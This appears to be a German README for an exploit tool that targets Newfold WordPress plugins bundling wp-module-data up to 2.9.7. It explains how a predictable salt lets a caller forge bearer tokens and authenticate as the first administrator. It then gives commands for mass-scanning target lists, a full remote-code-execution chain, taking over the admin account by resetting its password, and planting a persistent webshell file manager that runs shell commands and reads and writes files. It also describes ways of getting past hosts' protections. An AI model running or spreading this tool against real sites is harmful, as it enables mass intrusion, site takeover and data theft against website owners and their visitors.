Newfold-Plugins (wp-module-data <= 2.9.7) nicht authentifiziert
Unauthentifizierte Authentifizierungsumgehung und RCE-Exploit gegen Newfold-WordPress-Plugins, die wp-module-data bündeln.
Dieses Tool nutzt einen Fehler bei der Bearer-Token-Validierung im Newfold-Modul wp-module-data aus. Wenn eine WordPress-Seite, die ein betroffenes Newfold-Plugin verwendet, nicht mit Hiive verbunden ist, gibt HiiveConnection::get_auth_token() false zurück. Dieser Wert wird durch strrev() geleitet und anschließend gehasht, wodurch das geheime Salt auf die öffentliche Konstante reduziert wird:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Da jede andere Komponente der gehashten Nutzlast (HTTP-Methode, Anfrage-URL, Anfrage-Body, Zeitstempel) vollständig vom Angreifer kontrolliert wird, kann ein gültiges Bearer-Token offline berechnet werden. Der anfällige Filter läuft auf rest_authentication_errors, sodass ein gefälschtes Token den Aufrufer als ersten Administrator für die gesamte WordPress-REST-API authentifiziert, einschließlich der Core-Routen. Dieser Zugriff wird dann zu vollständiger Remote-Code-Ausführung ausgenutzt.
| Plugin / Modul | Betroffene Versionen | Gepatcht |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
Die Erkennung deckt auch die WordPress.org-Plugin-Slugs wp-plugin-web und crazy_blog ab.
In vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
Auf einer nicht verbundenen Seite wird strrev(false) zu strrev('') gezwungen, was '' ergibt, und das Salt wird zum wohlbekannten Hash der leeren Zeichenkette. Jede andere Eingabe in die Hash-Kette wird vom Angreifer kontrolliert, sodass das Token vollständig vorhersagbar ist.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me und Prüfung der Rollen404.php / index.php.fm.php-Dateimanager, der im Webroot abgelegt wirdwp-login.php) und klassischer wp-login.php-Formular-Loginrequestsurllib3 (optional, nur zur Unterdrückung von TLS-Warnungen)Abhängigkeiten installieren:
pip install requests urllib3
Read-only-Erkennung und Umgehungsverifizierung:
python3 exploit.py -u https://target.example
Vollständige Kette zu einer persistenten Shell:
python3 exploit.py -u https://target.example --mode rce
Das Passwort des ersten Administrators zurücksetzen, anstatt einen neuen zu erstellen:
python3 exploit.py -u https://target.example --mode rce --takeover
Nur-Prüfung über eine Liste von Zielen:
python3 exploit.py --list targets.txt
Vollständige Kette auf jedem anfälligen Host (erfordert explizite Zustimmung):
python3 exploit.py --list targets.txt --mode rce --apply-rce
Vorfiltern mit statischen Asset-Probes, bevor die REST-API berührt wird:
python3 exploit.py --list targets.txt --brand-filter
Nach den ersten N anfälligen Hosts stoppen:
python3 exploit.py --list targets.txt --stop-after 5
Einen vorherigen Lauf fortsetzen:
python3 exploit.py --list targets.txt --resume
| Flag | Beschreibung |
|---|---|
-u, --url | Basis-URL eines einzelnen Ziels |
--list | Datei mit einer Ziel-URL pro Zeile |
--mode | check (nur Erkennung) oder rce (vollständige Kette); Standard check |
--takeover | Passwort des ersten Admins zurücksetzen, anstatt einen neuen Admin zu erstellen |
--output | JSONL-Ausgabepfad für den Massenmodus; Standard cve_2026_80099_results.jsonl |
--vuln-list | Reine URL-Liste anfälliger Hosts; Standard vuln.txt |
--threads | Anzahl der Worker für den Massenmodus; Standard 20 |
--timeout | Anfrage-Timeout in Sekunden; Standard 15 |
--fast-timeout | Timeout für schnelle Probes in Sekunden; Standard 6 |
--retries | Wiederholungsversuche pro Anfrage; Standard 1 |
--proxy | HTTP(S)-Proxy-URL |
--all-out | Alle Massen-Zeilen schreiben, nicht nur anfällige |
--apply-rce | Die RCE-Kette auf anfälligen Hosts im Massenmodus ausführen |
--brand-filter | Vorfiltern mit statischen Newfold-Plugin-Assets |
--stop-after | Massen-Scan nach N anfälligen Hosts stoppen; 0 bedeutet alle ausführen |
--quiet | Fortschrittszeilen pro Ziel deaktivieren |
--resume | An die Ausgabe anhängen und bereits vorhandene Ziele überspringen |
Sobald ein Administrator-Kontext bestätigt ist, versucht das Tool drei Techniken in dieser Reihenfolge:
Theme-Editor-Shell — schreibt eine kleine PHP-Nutzlast in die 404.php oder index.php des aktiven Themes. Die Nutzlast wird ausgelöst, indem eine beliebige nicht existierende URL angefordert wird (für 404.php) oder das Site-Root (für index.php).
Plugin-Upload-Shell — erstellt ein ZIP mit einem minimalen Plugin, lädt es über wp-admin/update.php?action=upload-plugin hoch und greift direkt auf die Plugin-PHP-Datei zu.
Inaktive-Plugin-Editor-Kette — listet Plugins über die REST-API auf, wählt ein inaktives aus, schreibt eine Cmd-Shell in dessen Hauptdatei über plugin-editor.php, aktiviert es über PUT /wp/v2/plugins/<slug>, löst die Shell auf einer beliebigen Frontend-URL aus, legt .fm.php im Webroot ab, deaktiviert dann das Plugin und stellt die Originaldatei wieder her. Dieser Pfad ist darauf ausgelegt, Hosts zu überleben, die den Theme-Editor blockieren, den direkten Zugriff auf wp-content blockieren oder Änderungen durch Loopback-Health-Checks zurücksetzen.
Bei Erfolg wird ein persistenter .fm.php-Dateimanager im Webroot abgelegt. Er unterstützt:
?cmd=<shell command>?cat=<path> zum Lesen einer Datei?put=<path>&data=<base64> zum Schreiben einer Datei?ls=<path> zum Auflisten eines Verzeichnissescve_2026_80099_results.jsonl — JSONL-Datensätze für jedes gescannte Ziel. Anfällige Einträge enthalten vuln: true, admin, admin_id und, wenn RCE erfolgreich ist, shell (die URL des abgelegten Dateimanagers oder der Shell).vuln.txt — eine reine URL pro Zeile für jedes anfällige oder geshellte Ziel.